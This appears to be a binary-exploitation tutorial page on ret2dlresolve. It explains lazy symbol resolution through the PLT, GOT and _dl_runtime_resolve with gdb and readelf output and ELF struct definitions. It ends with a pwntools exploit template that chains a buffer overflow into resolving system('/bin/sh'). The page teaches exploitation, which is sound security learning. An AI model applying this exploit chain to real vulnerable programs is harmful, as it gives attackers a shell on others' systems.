Ret2dlresolve

Resolving an arbitrary libc functions

The attacker tricks the binary into resolving an arbitrary function ( such as system) into the PLT.

The attacks can then use this PLT function as an original binary's function, bypassing ASLR and requiring no libc leaks.

How it works ?

Dynamically-linked ELF objects import libc functions when they are first called using the PLT and GOT. During the relocation of a runtime symbol, RIP will jump to the PLT and attempt to resolve the symbol. During this process a "resolver" is called.

  1. From the .text section, instead of calling read directly, there is a call to the corresponding function in the .plt section (0x401090).

0x00000000004015c9 <+129>: call 0x401090 <printf@plt>

2. From here, there is an indirect jump in the corresponding .got.plt section (0x404048)

0x401090 <printf@plt>: jmp QWORD PTR [rip+0x2fb2] # 0x404048 <printf@got.plt>

3. Since the symbol has not been resolved yet, this address contains the address of the next instruction in the function stub (0x401096).

gdb-peda$ x/gx 0x404048
0x404048 <printf@got.plt>: 0x0000000000401096

4. At this point, the execution flow is redirected to the next instruction in the function stub. Here, reloc_arg is pushed on the stack.

0x401096 <printf@plt+6>: push 0x6 # reloc_offset

5. The last instruction in the function stub is an indirect jump to the default stub (0x401020). Here the link_map address is pushed on the stack and finally the control is given to _dl_runtime_resolve().

0x40109b <printf@plt+11>: jmp 0x401020
0x401020: push QWORD PTR [rip+0x2fe2] # 0x404008 # link_map
0x401026: jmp  QWORD PTR [rip+0x2fe4] # 0x404010 # _dl_runtime_resolve

If the **GOT ** entry is unpopulated, the reloc_offset value is pushed and the binary jump to the beginning of the .plt section. A few instructions later, the dl-resolve() function is called, with reloc_offset being one of the arguments. It then uses this reloc_offset to calculate the relocation and symtab entries.

In order to resolve the functions, there are 3 structures that need to exist within the binary.

There are the 3 structures :

$ readelf -d server
0x0000000000000005 (STRTAB) 0x400668
0x0000000000000006 (SYMTAB) 0x4003c8
0x0000000000000017 (JMPREL) 0x4007f8
  • JMPREL segment (.rel.plt) that stores the Relocation Table, which maps each entry to a symbol

$ readelf -r chall
Relocation section '.rela.plt' at offset 0x7f8 contains 25 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
...
000000404048  000700000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
...
000000404070  000c00000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
...

The column name coresponds to the symbol name. The offset is the GOT entry for the symbol. info stores additional metadata.

These entry are of type Elf32_Rel for 0x86 instruction set and Elf64_Rel for 0x64 instruction set.

typedef struct {
        Elf32_Addr      r_offset;
        Elf32_Word      r_info;
} Elf32_Rel;

typedef struct {
        Elf64_Addr      r_offset;
        Elf64_Xword     r_info;
} Elf64_Rel;

/* How to extract information held in the r_info field.  */
#define ELF32_R_SYM(info)             ((info)>>8)
#define ELF64_R_SYM(info)             ((info)>>32)
  • STRTAB, a strings table for the names.

gdb-peda$ x/5s 0x400668
0x400668:       ""
0x400669:       "dprintf"
0x400671:       "socket"
0x400678:       "exit"
0x40067d:       "htons"
  • SYMTAB, store symbol informations in structure.

typedef struct 
{ 
   Elf32_Word st_name ; /* Symbol name (string tbl index) */
   Elf32_Addr st_value ; /* Symbol value */ 
   Elf32_Word st_size ; /* Symbol size */ 
   unsigned char st_info ; /* Symbol type and binding */ 
   unsigned char st_other ; /* Symbol visibility under glibc>=2.2 */ 
   Elf32_Section st_shndx ; /* Section index */ 
} Elf32_Sym ;

typedef struct {
        Elf64_Word      st_name; /* Symbol name (string tbl index) */
        unsigned char   st_info; /* Symbol type and binding */ 
        unsigned char   st_other; /* Symbol visibility under glibc>=2.2 */ 
        Elf64_Half      st_shndx; /* Section index */ 
        Elf64_Addr      st_value; /* Symbol value */ 
        Elf64_Xword     st_size; /* Symbol size */ 
} Elf64_Sym;

The most important value here is st_name as this gives the offset in STRTAB of the symbol name. The other fields are not relevant to the exploit itself.

Exploit

Faking these 3 structures could enable to trick the linker into resolving an arbitrary function, parameters can also be pass in (such as /bin/sh) once resolved.

pwntools contains a Ret2dlresolvePayload function that can automate the majority of the exploit

from pwn import *

elf = context.binary = ELF('./chall')
p = elf.process()
rop = ROP(elf)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * offset) # Trigger the buffer overflow
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset

p.sendline(rop.chain())
p.sendline(dlresolve.payload)    

This function will fake and write the structures at the correct address in order to call an arbitrary function system with /bin/sh as argument.

Note that a method to edit an arbitrary memory location is needed. In the previous example, a ROP chain using read is used.

Resources

Last updated